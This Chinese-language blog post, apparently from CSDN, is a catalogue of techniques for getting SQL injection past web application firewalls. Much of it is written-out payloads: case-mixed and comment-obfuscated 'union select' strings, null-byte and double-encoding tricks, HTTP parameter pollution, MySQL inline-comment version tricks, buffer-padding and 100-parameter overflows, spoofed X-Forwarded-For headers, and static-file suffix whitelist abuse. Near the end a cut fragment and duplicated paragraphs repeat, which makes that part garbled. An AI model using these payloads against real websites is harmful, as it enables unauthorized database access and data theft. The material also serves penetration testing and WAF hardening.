WAF绕过

WAF绕过

数据

1、大小写变换

如:对某些关键字如:select、union、order、where进行关键字的过滤,能够采用SelEct、UniOn等大小写变换进行绕过。

id=1UnIoN/**/SeLeCT1,user()

2、使用嵌套

如对某些关键字替换为空,能够采用嵌套双写进行绕过,如碰到select或者union等关键字时会将其替换为空,此时能够尝试SELEselectCT、UNIunionON进行绕过。

3、空字节

一些过滤器在碰到空字节会中止过滤,如id=1 %00 and 1=1或id=1 an%00d 1=1,当WAF碰到id=1时将中止检测,从而绕过。

4、变换提交方式

规则是对GET请求进行限制而未对POST请求限制能够尝试经过POST请求进行绕过。

5、注释符

//----+#//+:%00/!/等

1.通过在语句中加注释符来绕过拦截

id=1 union%23a%0aselect 1,2,3;#

%23a%0a : #a换行符

union a select 可以绕过拦截,但是会让查询不正确,所以加#把a注释掉,但是要执行后面的select语句,所以再加一个换行符将后面的语句隔开,就不会被注释掉了。

2./**/能够用来代替空格
3./*!select*/使得select不被注释

table_name, table_schema, =, and information_schema同理都可以采用内联注释进行绕过

4./***/可以用来注释

id=1/**&id=-1%20union%20select%201,2,3%23*/

WAF不会检测到注释符内部的语句,会忽略掉注释符内的语句

但是这里出现了参数污染的情况,所以后台检测到的语句是-1%20union%20select%201,2,3%23*/,可以正常执行SQL语句

5.部分 bypass sqlinject payload

id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23

id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

id=-1%20union%20/*!44509select*/%201,2,3%23

id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23id=1/**&id=-1%20union%20select%201,2,3%23*/

id=-1 %20union%20all%23%0a%20select%201,2,3%23

-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

6、双重编码

WAF会解码而后过滤关键字,此时经过二次编码进行绕过

7、更换where条件

在这里插入图片描述

若是拦截=能够尝试<>、>、<号
<=>: 比较操做符,当比较的的两个值为 NULL 时返回 true。

8、http 参数污染

当get方式进行传参时,经过&符号传入多个参数,WAF可能只检测第一个参数的值,然后台却检测最后一个传入的值,此时能够绕过WAF的防护
如:.php?id=1&id=2&id=select * from class

在这里插入图片描述

PHP/Apache会接收最后一个参数
ASP/IIS会将每一个参数拼在一块儿,如id=a&id=b 最后的值为ab

ASP.NET/IIS也是将每一个参数拼在一块儿

JSP,Servlet/Apache Tomcat接收第一个参数

image.png

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果

以参数color=red&color=blue为例

img

9、函数替换

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid() substring() 等价于substr()

@@user 等价于 User()

@@Version 等价于 version()

user()=@@user() and=& or=| ascii=hex 等

WAF绕过-数据库特性

1、Mysql技巧

img

(1)mysql注释符有三种:#、//、–…(注意–后面有一个空格,或者为–+)

(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a换行符

可结合注释符使用%23%0a,%2d%2d%0a。

(3)内联注释:

/!UnIon12345SelEcT/1,user()//数字范围1000-50540

(4)mysql黑魔法

select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用来注释掉注射后查询的其余部分:

/*C语言风格注释

SQL注释

;00%空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a冒号

id=1union:select1,2from:admin

(4)函数变形:如db_name 空白字符

3、Oracle技巧

(1)注释符:–、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ(SQLI FUZZ字典SQL注入过滤关键字的Fuzz字典

就是模糊测试,批量测试

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

WAF绕过-逻辑层

1、逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP

没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数

输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只

要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向

量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

?a0=0&a1=1&…&a100=100&id=1

union

select

1,schema_name,3

from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情

况。

测试方法:修改http的header来bypasswaf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测

效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url

中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html

tp://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url

中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值